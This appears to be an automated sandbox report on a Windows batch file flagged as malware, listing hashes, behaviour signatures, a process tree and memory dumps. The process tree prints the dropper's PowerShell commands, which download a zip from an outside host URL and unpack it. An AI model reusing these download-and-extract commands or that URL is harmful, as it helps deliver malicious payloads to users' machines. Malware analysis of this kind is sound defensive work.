3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
122s
max time network
128s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 23:24

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General

Target

tesy - Copy (4).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2080	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2080	powershell.exe
2028	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2080	powershell.exe
Token: SeDebugPrivilege	2028	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1748 wrote to memory of 2080	1748	cmd.exe	29
PID 1748 wrote to memory of 2080	1748	cmd.exe	29
PID 1748 wrote to memory of 2080	1748	cmd.exe	29
PID 1748 wrote to memory of 2028	1748	cmd.exe	30
PID 1748 wrote to memory of 2028	1748	cmd.exe	30
PID 1748 wrote to memory of 2028	1748	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2028

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d2080444a844da540ff9c9df343cd768

SHA1
60069c433aa6b2b874079effff3f1e059f97534f

SHA256
9b4cee350322e7758b0986e29fd7c5a20ab58070367204a315289b135b9260a4

SHA512
aa9b51f2acd59cb38311fde7cdc8b331d56815061d086f5894c31a8556683d708a901abbe068badddc73937b95f466c54cd3897d3473331b4f4e1c207677e5d7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SSZCD455RYVL8Y936S6A.temp

Filesize
7KB

MD5
d2080444a844da540ff9c9df343cd768

SHA1
60069c433aa6b2b874079effff3f1e059f97534f

SHA256
9b4cee350322e7758b0986e29fd7c5a20ab58070367204a315289b135b9260a4

SHA512
aa9b51f2acd59cb38311fde7cdc8b331d56815061d086f5894c31a8556683d708a901abbe068badddc73937b95f466c54cd3897d3473331b4f4e1c207677e5d7

Download Submit
memory/2028-18-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

Filesize
2.9MB

Download
memory/2028-25-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/2028-26-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2028-22-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/2028-23-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/2028-24-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/2028-21-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2028-19-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2028-20-0x00000000027B0000-0x00000000027B8000-memory.dmp

Filesize
32KB

Download
memory/2080-5-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

Filesize
9.6MB

Download
memory/2080-4-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

Filesize
2.9MB

Download
memory/2080-6-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2080-12-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

Filesize
9.6MB

Download
memory/2080-7-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download
memory/2080-10-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download
memory/2080-9-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

Filesize
9.6MB

Download
memory/2080-8-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download